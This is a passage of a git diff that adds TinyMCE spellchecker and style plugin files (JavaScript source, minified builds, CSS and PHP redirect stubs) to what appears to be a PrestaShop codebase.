AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker",version:tinymce.majorVersion+"."+tinymce.minorVersion}},init:function(e,f){var g=this,d;g.url=f;g.editor=e;g.rpcUrl=e.getParam("spellchecker_rpc_url","{backend}");if(g.rpcUrl=="{backend}"){if(tinymce.isIE){return}g.hasSupport=true;e.onContextMenu.addToTop(function(h,i){if(g.active){return false}})}e.addCommand("mceSpellCheck",function(){if(g.rpcUrl=="{backend}"){g.editor.getBody().spellcheck=g.active=!g.active;return}if(!g.active){e.setProgressState(1);g._sendRPC("checkWords",[g.selectedLang,g._getWords()],function(h){if(h.length>0){g.active=1;g._markWords(h);e.setProgressState(0);e.nodeChanged()}else{e.setProgressState(0);if(e.getParam("spellchecker_report_no_misspellings",true)){e.windowManager.alert("spellchecker.no_mpell")}}})}else{g._done()}});if(e.settings.content_css!==false){e.contentCSS.push(f+"/css/content.css")}e.onClick.add(g._showMenu,g);e.onContextMenu.add(g._showMenu,g);e.onBeforeGetContent.add(function(){if(g.active){g._removeWords()}});e.onNodeChange.add(function(i,h){h.setActive("spellchecker",g.active)});e.onSetContent.add(function(){g._done()});e.onBeforeGetContent.add(function(){g._done()});e.onBeforeExecCommand.add(function(h,i){if(i=="mceFullScreen"){g._done()}});g.languages={};c(e.getParam("spellchecker_languages","+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv","hash"),function(i,h){if(h.indexOf("+")===0){h=h.substring(1);g.selectedLang=i}g.languages[h]=i})},createControl:function(h,d){var f=this,g,e=f.editor;if(h=="spellchecker"){if(f.rpcUrl=="{backend}"){if(f.hasSupport){g=d.createButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f})}return g}g=d.createSplitButton(h,{title:"spellchecker.desc",cmd:"mceSpellCheck",scope:f});g.onRenderMenu.add(function(j,i){i.add({title:"spellchecker.langs","class":"mceMenuItemTitle"}).setDisabled(1);c(f.languages,function(n,m){var p={icon:1},l;p.onclick=function(){if(n==f.selectedLang){return}l.setSelected(1);f.selectedItem.setSelected(0);f.selectedItem=l;f.selectedLang=n};p.title=m;l=i.add(p);l.setSelected(n==f.selectedLang);if(n==f.selectedLang){f.selectedItem=l}})});return g}},_walk:function(i,g){var h=this.editor.getDoc(),e;if(h.createTreeWalker){e=h.createTreeWalker(i,NodeFilter.SHOW_TEXT,null,false);while((i=e.nextNode())!=null){g.call(this,i)}}else{tinymce.walk(i,g,"childNodes")}},_getSeparators:function(){var e="",d,f=this.editor.getParam("spellchecker_word_separator_chars",'\\s!"#$%&()*+,-./:;<=>?@[]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c');for(d=0;d$2");while((s=p.indexOf(""))!=-1){o=p.substring(0,s);if(o.length){r=j.createTextNode(f.decode(o));q.appendChild(r)}p=p.substring(s+10);s=p.indexOf("");o=p.substring(0,s);p=p.substring(s+11);q.appendChild(f.create("span",{"class":"mceItemHiddenSpellWord"},o))}if(p.length){r=j.createTextNode(f.decode(p));q.appendChild(r)}}else{q.innerHTML=p.replace(e,'$1$2')}f.replace(q,t)}});h.moveToBookmark(i)},_showMenu:function(h,j){var i=this,h=i.editor,d=i._menu,l,k=h.dom,g=k.getViewPort(h.getWin()),f=j.target;j=0;if(!d){d=h.controlManager.createDropMenu("spellcheckermenu",{"class":"mceNoIcons"});i._menu=d}if(k.hasClass(f,"mceItemHiddenSpellWord")){d.removeAll();d.add({title:"spellchecker.wait","class":"mceMenuItemTitle"}).setDisabled(1);i._sendRPC("getSuggestions",[i.selectedLang,k.decode(f.innerHTML)],function(m){var e;d.removeAll();if(m.length>0){d.add({title:"spellchecker.sug","class":"mceMenuItemTitle"}).setDisabled(1);c(m,function(n){d.add({title:n,onclick:function(){k.replace(h.getDoc().createTextNode(n),f);i._checkDone()}})});d.addSeparator()}else{d.add({title:"spellchecker.no_sug","class":"mceMenuItemTitle"}).setDisabled(1)}if(h.getParam("show_ignore_words",true)){e=i.editor.getParam("spellchecker_enable_ignore_rpc","");d.add({title:"spellchecker.ignore_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}}});d.add({title:"spellchecker.ignore_words",onclick:function(){var n=f.innerHTML;i._removeWords(k.decode(n));i._checkDone();if(e){h.setProgressState(1);i._sendRPC("ignoreWords",[i.selectedLang,n],function(o){h.setProgressState(0)})}}})}if(i.editor.getParam("spellchecker_enable_learn_rpc")){d.add({title:"spellchecker.learn_word",onclick:function(){var n=f.innerHTML;k.remove(f,1);i._checkDone();h.setProgressState(1);i._sendRPC("learnWord",[i.selectedLang,n],function(o){h.setProgressState(0)})}})}d.update()});l=b.getPos(h.getContentAreaContainer());d.settings.offset_x=l.x;d.settings.offset_y=l.y;h.selection.select(f);l=k.getPos(f);d.showMenu(l.x,l.y+f.offsetHeight-g.y);return tinymce.dom.Event.cancel(j)}else{d.hideMenu()}},_checkDone:function(){var e=this,d=e.editor,g=d.dom,f;c(g.select("span"),function(h){if(h&&g.hasClass(h,"mceItemHiddenSpellWord")){f=true;return false}});if(!f){e._done()}},_done:function(){var d=this,e=d.active;if(d.active){d.active=0;d._removeWords();if(d._menu){d._menu.hideMenu()}if(e){d.editor.nodeChanged()}}},_sendRPC:function(e,g,d){var f=this;a.sendRPC({url:f.rpcUrl,method:e,params:g,success:d,error:function(i,h){f.editor.setProgressState(0);f.editor.windowManager.alert(i.errstr||("Error response: "+h.responseText))}})}});tinymce.PluginManager.add("spellchecker",tinymce.plugins.SpellcheckerPlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/spellchecker/editor_plugin_src.js b/js/tiny_mce/plugins/spellchecker/editor_plugin_src.js new file mode 100755 index 0000000..0d7cc6e --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/editor_plugin_src.js @@ -0,0 +1,436 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + var JSONRequest = tinymce.util.JSONRequest, each = tinymce.each, DOM = tinymce.DOM; + + tinymce.create('tinymce.plugins.SpellcheckerPlugin', { + getInfo : function() { + return { + longname : 'Spellchecker', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + }, + + init : function(ed, url) { + var t = this, cm; + + t.url = url; + t.editor = ed; + t.rpcUrl = ed.getParam("spellchecker_rpc_url", "{backend}"); + + if (t.rpcUrl == '{backend}') { + // Sniff if the browser supports native spellchecking (Don't know of a better way) + if (tinymce.isIE) + return; + + t.hasSupport = true; + + // Disable the context menu when spellchecking is active + ed.onContextMenu.addToTop(function(ed, e) { + if (t.active) + return false; + }); + } + + // Register commands + ed.addCommand('mceSpellCheck', function() { + if (t.rpcUrl == '{backend}') { + // Enable/disable native spellchecker + t.editor.getBody().spellcheck = t.active = !t.active; + return; + } + + if (!t.active) { + ed.setProgressState(1); + t._sendRPC('checkWords', [t.selectedLang, t._getWords()], function(r) { + if (r.length > 0) { + t.active = 1; + t._markWords(r); + ed.setProgressState(0); + ed.nodeChanged(); + } else { + ed.setProgressState(0); + + if (ed.getParam('spellchecker_report_no_misspellings', true)) + ed.windowManager.alert('spellchecker.no_mpell'); + } + }); + } else + t._done(); + }); + + if (ed.settings.content_css !== false) + ed.contentCSS.push(url + '/css/content.css'); + + ed.onClick.add(t._showMenu, t); + ed.onContextMenu.add(t._showMenu, t); + ed.onBeforeGetContent.add(function() { + if (t.active) + t._removeWords(); + }); + + ed.onNodeChange.add(function(ed, cm) { + cm.setActive('spellchecker', t.active); + }); + + ed.onSetContent.add(function() { + t._done(); + }); + + ed.onBeforeGetContent.add(function() { + t._done(); + }); + + ed.onBeforeExecCommand.add(function(ed, cmd) { + if (cmd == 'mceFullScreen') + t._done(); + }); + + // Find selected language + t.languages = {}; + each(ed.getParam('spellchecker_languages', '+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv', 'hash'), function(v, k) { + if (k.indexOf('+') === 0) { + k = k.substring(1); + t.selectedLang = v; + } + + t.languages[k] = v; + }); + }, + + createControl : function(n, cm) { + var t = this, c, ed = t.editor; + + if (n == 'spellchecker') { + // Use basic button if we use the native spellchecker + if (t.rpcUrl == '{backend}') { + // Create simple toggle button if we have native support + if (t.hasSupport) + c = cm.createButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); + + return c; + } + + c = cm.createSplitButton(n, {title : 'spellchecker.desc', cmd : 'mceSpellCheck', scope : t}); + + c.onRenderMenu.add(function(c, m) { + m.add({title : 'spellchecker.langs', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(t.languages, function(v, k) { + var o = {icon : 1}, mi; + + o.onclick = function() { + if (v == t.selectedLang) { + return; + } + mi.setSelected(1); + t.selectedItem.setSelected(0); + t.selectedItem = mi; + t.selectedLang = v; + }; + + o.title = k; + mi = m.add(o); + mi.setSelected(v == t.selectedLang); + + if (v == t.selectedLang) + t.selectedItem = mi; + }) + }); + + return c; + } + }, + + // Internal functions + + _walk : function(n, f) { + var d = this.editor.getDoc(), w; + + if (d.createTreeWalker) { + w = d.createTreeWalker(n, NodeFilter.SHOW_TEXT, null, false); + + while ((n = w.nextNode()) != null) + f.call(this, n); + } else + tinymce.walk(n, f, 'childNodes'); + }, + + _getSeparators : function() { + var re = '', i, str = this.editor.getParam('spellchecker_word_separator_chars', '\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}§©«®±¶·¸»¼½¾¿×÷¤\u201d\u201c'); + + // Build word separator regexp + for (i=0; i elements content is broken after spellchecking. + // Bug #1408: Preceding whitespace characters are removed + // @TODO: I'm not sure that both are still issues on IE9. + if (tinymce.isIE) { + // Enclose mispelled words with temporal tag + v = v.replace(rx, '$1$2'); + // Loop over the content finding mispelled words + while ((pos = v.indexOf('')) != -1) { + // Add text node for the content before the word + txt = v.substring(0, pos); + if (txt.length) { + node = doc.createTextNode(dom.decode(txt)); + elem.appendChild(node); + } + v = v.substring(pos+10); + pos = v.indexOf(''); + txt = v.substring(0, pos); + v = v.substring(pos+11); + // Add span element for the word + elem.appendChild(dom.create('span', {'class' : 'mceItemHiddenSpellWord'}, txt)); + } + // Add text node for the rest of the content + if (v.length) { + node = doc.createTextNode(dom.decode(v)); + elem.appendChild(node); + } + } else { + // Other browsers preserve whitespace characters on innerHTML usage + elem.innerHTML = v.replace(rx, '$1$2'); + } + + // Finally, replace the node with the container + dom.replace(elem, n); + } + }); + + se.moveToBookmark(b); + }, + + _showMenu : function(ed, e) { + var t = this, ed = t.editor, m = t._menu, p1, dom = ed.dom, vp = dom.getViewPort(ed.getWin()), wordSpan = e.target; + + e = 0; // Fixes IE memory leak + + if (!m) { + m = ed.controlManager.createDropMenu('spellcheckermenu', {'class' : 'mceNoIcons'}); + t._menu = m; + } + + if (dom.hasClass(wordSpan, 'mceItemHiddenSpellWord')) { + m.removeAll(); + m.add({title : 'spellchecker.wait', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + t._sendRPC('getSuggestions', [t.selectedLang, dom.decode(wordSpan.innerHTML)], function(r) { + var ignoreRpc; + + m.removeAll(); + + if (r.length > 0) { + m.add({title : 'spellchecker.sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + each(r, function(v) { + m.add({title : v, onclick : function() { + dom.replace(ed.getDoc().createTextNode(v), wordSpan); + t._checkDone(); + }}); + }); + + m.addSeparator(); + } else + m.add({title : 'spellchecker.no_sug', 'class' : 'mceMenuItemTitle'}).setDisabled(1); + + if (ed.getParam('show_ignore_words', true)) { + ignoreRpc = t.editor.getParam("spellchecker_enable_ignore_rpc", ''); + m.add({ + title : 'spellchecker.ignore_word', + onclick : function() { + var word = wordSpan.innerHTML; + + dom.remove(wordSpan, 1); + t._checkDone(); + + // tell the server if we need to + if (ignoreRpc) { + ed.setProgressState(1); + t._sendRPC('ignoreWord', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + } + }); + + m.add({ + title : 'spellchecker.ignore_words', + onclick : function() { + var word = wordSpan.innerHTML; + + t._removeWords(dom.decode(word)); + t._checkDone(); + + // tell the server if we need to + if (ignoreRpc) { + ed.setProgressState(1); + t._sendRPC('ignoreWords', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + } + }); + } + + if (t.editor.getParam("spellchecker_enable_learn_rpc")) { + m.add({ + title : 'spellchecker.learn_word', + onclick : function() { + var word = wordSpan.innerHTML; + + dom.remove(wordSpan, 1); + t._checkDone(); + + ed.setProgressState(1); + t._sendRPC('learnWord', [t.selectedLang, word], function(r) { + ed.setProgressState(0); + }); + } + }); + } + + m.update(); + }); + + p1 = DOM.getPos(ed.getContentAreaContainer()); + m.settings.offset_x = p1.x; + m.settings.offset_y = p1.y; + + ed.selection.select(wordSpan); + p1 = dom.getPos(wordSpan); + m.showMenu(p1.x, p1.y + wordSpan.offsetHeight - vp.y); + + return tinymce.dom.Event.cancel(e); + } else + m.hideMenu(); + }, + + _checkDone : function() { + var t = this, ed = t.editor, dom = ed.dom, o; + + each(dom.select('span'), function(n) { + if (n && dom.hasClass(n, 'mceItemHiddenSpellWord')) { + o = true; + return false; + } + }); + + if (!o) + t._done(); + }, + + _done : function() { + var t = this, la = t.active; + + if (t.active) { + t.active = 0; + t._removeWords(); + + if (t._menu) + t._menu.hideMenu(); + + if (la) + t.editor.nodeChanged(); + } + }, + + _sendRPC : function(m, p, cb) { + var t = this; + + JSONRequest.sendRPC({ + url : t.rpcUrl, + method : m, + params : p, + success : cb, + error : function(e, x) { + t.editor.setProgressState(0); + t.editor.windowManager.alert(e.errstr || ('Error response: ' + x.responseText)); + } + }); + } + }); + + // Register plugin + tinymce.PluginManager.add('spellchecker', tinymce.plugins.SpellcheckerPlugin); +})(); diff --git a/js/tiny_mce/plugins/spellchecker/img/index.php b/js/tiny_mce/plugins/spellchecker/img/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/img/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/spellchecker/img/wline.gif b/js/tiny_mce/plugins/spellchecker/img/wline.gif new file mode 100755 index 0000000..7d0a4db Binary files /dev/null and b/js/tiny_mce/plugins/spellchecker/img/wline.gif differ diff --git a/js/tiny_mce/plugins/spellchecker/index.php b/js/tiny_mce/plugins/spellchecker/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/spellchecker/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/style/css/index.php b/js/tiny_mce/plugins/style/css/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/js/tiny_mce/plugins/style/css/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/css/props.css b/js/tiny_mce/plugins/style/css/props.css new file mode 100755 index 0000000..5550b09 --- /dev/null +++ b/js/tiny_mce/plugins/style/css/props.css @@ -0,0 +1,13 @@ +#text_font {width:250px;} +#text_size {width:70px;} +.mceAddSelectValue {background:#DDD;} +select, #block_text_indent, #box_width, #box_height, #box_padding_top, #box_padding_right, #box_padding_bottom, #box_padding_left {width:70px;} +#box_margin_top, #box_margin_right, #box_margin_bottom, #box_margin_left, #positioning_width, #positioning_height, #positioning_zindex {width:70px;} +#positioning_placement_top, #positioning_placement_right, #positioning_placement_bottom, #positioning_placement_left {width:70px;} +#positioning_clip_top, #positioning_clip_right, #positioning_clip_bottom, #positioning_clip_left {width:70px;} +.panel_wrapper div.current {padding-top:10px;height:230px;} +.delim {border-left:1px solid gray;} +.tdelim {border-bottom:1px solid gray;} +#block_display {width:145px;} +#list_type {width:115px;} +.disabled {background:#EEE;} diff --git a/js/tiny_mce/plugins/style/editor_plugin.js b/js/tiny_mce/plugins/style/editor_plugin.js new file mode 100755 index 0000000..cab2153 --- /dev/null +++ b/js/tiny_mce/plugins/style/editor_plugin.js @@ -0,0 +1 @@ +(function(){tinymce.create("tinymce.plugins.StylePlugin",{init:function(a,b){a.addCommand("mceStyleProps",function(){a.windowManager.open({file:b+"/props.htm",width:480+parseInt(a.getLang("style.delta_width",0)),height:320+parseInt(a.getLang("style.delta_height",0)),inline:1},{plugin_url:b,style_text:a.selection.getNode().style.cssText})});a.addCommand("mceSetElementStyle",function(d,c){if(e=a.selection.getNode()){a.dom.setAttrib(e,"style",c);a.execCommand("mceRepaint")}});a.onNodeChange.add(function(d,c,f){c.setDisabled("styleprops",f.nodeName==="BODY")});a.addButton("styleprops",{title:"style.desc",cmd:"mceStyleProps"})},getInfo:function(){return{longname:"Style",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("style",tinymce.plugins.StylePlugin)})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/editor_plugin_src.js b/js/tiny_mce/plugins/style/editor_plugin_src.js new file mode 100755 index 0000000..c09d5e8 --- /dev/null +++ b/js/tiny_mce/plugins/style/editor_plugin_src.js @@ -0,0 +1,55 @@ +/** + * editor_plugin_src.js + * + * Copyright 2009, Moxiecode Systems AB + * Released under LGPL License. + * + * License: http://tinymce.moxiecode.com/license + * Contributing: http://tinymce.moxiecode.com/contributing + */ + +(function() { + tinymce.create('tinymce.plugins.StylePlugin', { + init : function(ed, url) { + // Register commands + ed.addCommand('mceStyleProps', function() { + ed.windowManager.open({ + file : url + '/props.htm', + width : 480 + parseInt(ed.getLang('style.delta_width', 0)), + height : 320 + parseInt(ed.getLang('style.delta_height', 0)), + inline : 1 + }, { + plugin_url : url, + style_text : ed.selection.getNode().style.cssText + }); + }); + + ed.addCommand('mceSetElementStyle', function(ui, v) { + if (e = ed.selection.getNode()) { + ed.dom.setAttrib(e, 'style', v); + ed.execCommand('mceRepaint'); + } + }); + + ed.onNodeChange.add(function(ed, cm, n) { + cm.setDisabled('styleprops', n.nodeName === 'BODY'); + }); + + // Register buttons + ed.addButton('styleprops', {title : 'style.desc', cmd : 'mceStyleProps'}); + }, + + getInfo : function() { + return { + longname : 'Style', + author : 'Moxiecode Systems AB', + authorurl : 'http://tinymce.moxiecode.com', + infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style', + version : tinymce.majorVersion + "." + tinymce.minorVersion + }; + } + }); + + // Register plugin + tinymce.PluginManager.add('style', tinymce.plugins.StylePlugin); +})(); \ No newline at end of file diff --git a/js/tiny_mce/plugins/style/index.php b/js/tiny_mce/plugins/style/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/style/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/style/js/index.php b/js/tiny_mce/plugins/style/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce/plugins/style/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce/plugins/style/js/props.js b/js/tiny_mce/plugins/style/js/props.js new file mode 100755 index 0000000..5c82ec6 --- /dev/null +++ b/js/tiny_mce/plugins/style/js/props.js @@ -0,0 +1,650 @@ +tinyMCEPopup.requireLangPack(); + +var defaultFonts = "" + + "Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Courier New, Courier, mono=Courier New, Courier, mono;" + + "Times New Roman, Times, serif=Times New Roman, Times, serif;" + + "Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;" + + "Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;" + + "Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif"; + +var defaultSizes = "9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger"; +var defaultMeasurement = "+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultSpacingMeasurement = "pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%"; +var defaultIndentMeasurement = "pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; +var defaultWeight = "normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900"; +var defaultTextStyle = "normal;italic;oblique"; +var defaultVariant = "normal;small-caps"; +var defaultLineHeight = "normal"; +var defaultAttachment = "fixed;scroll"; +var defaultRepeat = "no-repeat;repeat;repeat-x;repeat-y"; +var defaultPosH = "left;center;right"; +var defaultPosV = "top;center;bottom"; +var defaultVAlign = "baseline;sub;super;top;text-top;middle;bottom;text-bottom"; +var defaultDisplay = "inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none"; +var defaultBorderStyle = "none;solid;dashed;dotted;double;groove;ridge;inset;outset"; +var defaultBorderWidth = "thin;medium;thick"; +var defaultListType = "disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"; + +function init() { + var ce = document.getElementById('container'), h; + + ce.style.cssText = tinyMCEPopup.getWindowArg('style_text'); + + h = getBrowserHTML('background_image_browser','background_image','image','advimage'); + document.getElementById("background_image_browser").innerHTML = h; + + document.getElementById('text_color_pickcontainer').innerHTML = getColorPickerHTML('text_color_pick','text_color'); + document.getElementById('background_color_pickcontainer').innerHTML = getColorPickerHTML('background_color_pick','background_color'); + document.getElementById('border_color_top_pickcontainer').innerHTML = getColorPickerHTML('border_color_top_pick','border_color_top'); + document.getElementById('border_color_right_pickcontainer').innerHTML = getColorPickerHTML('border_color_right_pick','border_color_right'); + document.getElementById('border_color_bottom_pickcontainer').innerHTML = getColorPickerHTML('border_color_bottom_pick','border_color_bottom'); + document.getElementById('border_color_left_pickcontainer').innerHTML = getColorPickerHTML('border_color_left_pick','border_color_left'); + + fillSelect(0, 'text_font', 'style_font', defaultFonts, ';', true); + fillSelect(0, 'text_size', 'style_font_size', defaultSizes, ';', true); + fillSelect(0, 'text_size_measurement', 'style_font_size_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'text_case', 'style_text_case', "capitalize;uppercase;lowercase", ';', true); + fillSelect(0, 'text_weight', 'style_font_weight', defaultWeight, ';', true); + fillSelect(0, 'text_style', 'style_font_style', defaultTextStyle, ';', true); + fillSelect(0, 'text_variant', 'style_font_variant', defaultVariant, ';', true); + fillSelect(0, 'text_lineheight', 'style_font_line_height', defaultLineHeight, ';', true); + fillSelect(0, 'text_lineheight_measurement', 'style_font_line_height_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_attachment', 'style_background_attachment', defaultAttachment, ';', true); + fillSelect(0, 'background_repeat', 'style_background_repeat', defaultRepeat, ';', true); + + fillSelect(0, 'background_hpos_measurement', 'style_background_hpos_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'background_vpos_measurement', 'style_background_vpos_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'background_hpos', 'style_background_hpos', defaultPosH, ';', true); + fillSelect(0, 'background_vpos', 'style_background_vpos', defaultPosV, ';', true); + + fillSelect(0, 'block_wordspacing', 'style_wordspacing', 'normal', ';', true); + fillSelect(0, 'block_wordspacing_measurement', 'style_wordspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_letterspacing', 'style_letterspacing', 'normal', ';', true); + fillSelect(0, 'block_letterspacing_measurement', 'style_letterspacing_measurement', defaultSpacingMeasurement, ';', true); + fillSelect(0, 'block_vertical_alignment', 'style_vertical_alignment', defaultVAlign, ';', true); + fillSelect(0, 'block_text_align', 'style_text_align', "left;right;center;justify", ';', true); + fillSelect(0, 'block_whitespace', 'style_whitespace', "normal;pre;nowrap", ';', true); + fillSelect(0, 'block_display', 'style_display', defaultDisplay, ';', true); + fillSelect(0, 'block_text_indent_measurement', 'style_text_indent_measurement', defaultIndentMeasurement, ';', true); + + fillSelect(0, 'box_width_measurement', 'style_box_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_height_measurement', 'style_box_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_float', 'style_float', 'left;right;none', ';', true); + fillSelect(0, 'box_clear', 'style_clear', 'left;right;both;none', ';', true); + fillSelect(0, 'box_padding_left_measurement', 'style_padding_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_top_measurement', 'style_padding_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_bottom_measurement', 'style_padding_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_padding_right_measurement', 'style_padding_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_left_measurement', 'style_margin_left_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_top_measurement', 'style_margin_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_bottom_measurement', 'style_margin_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'box_margin_right_measurement', 'style_margin_right_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'border_style_top', 'style_border_style_top', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_right', 'style_border_style_right', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_bottom', 'style_border_style_bottom', defaultBorderStyle, ';', true); + fillSelect(0, 'border_style_left', 'style_border_style_left', defaultBorderStyle, ';', true); + + fillSelect(0, 'border_width_top', 'style_border_width_top', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_right', 'style_border_width_right', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_bottom', 'style_border_width_bottom', defaultBorderWidth, ';', true); + fillSelect(0, 'border_width_left', 'style_border_width_left', defaultBorderWidth, ';', true); + + fillSelect(0, 'border_width_top_measurement', 'style_border_width_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_right_measurement', 'style_border_width_right_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_bottom_measurement', 'style_border_width_bottom_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'border_width_left_measurement', 'style_border_width_left_measurement', defaultMeasurement, ';', true); + + fillSelect(0, 'list_type', 'style_list_type', defaultListType, ';', true); + fillSelect(0, 'list_position', 'style_list_position', "inside;outside", ';', true); + + fillSelect(0, 'positioning_type', 'style_positioning_type', "absolute;relative;static", ';', true); + fillSelect(0, 'positioning_visibility', 'style_positioning_visibility', "inherit;visible;hidden", ';', true); + + fillSelect(0, 'positioning_width_measurement', 'style_positioning_width_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_height_measurement', 'style_positioning_height_measurement', defaultMeasurement, ';', true); + fillSelect(0, 'positioning_overflow', 'style_positioning_overflow', "visible;hidden;scroll;auto", ';', true); + + fillSelect(0, 'positioning_placement_top_measurement', 'style_positioning_placement_top_measurement', defaultMeasurement, ';', true); + fillSelect(0, 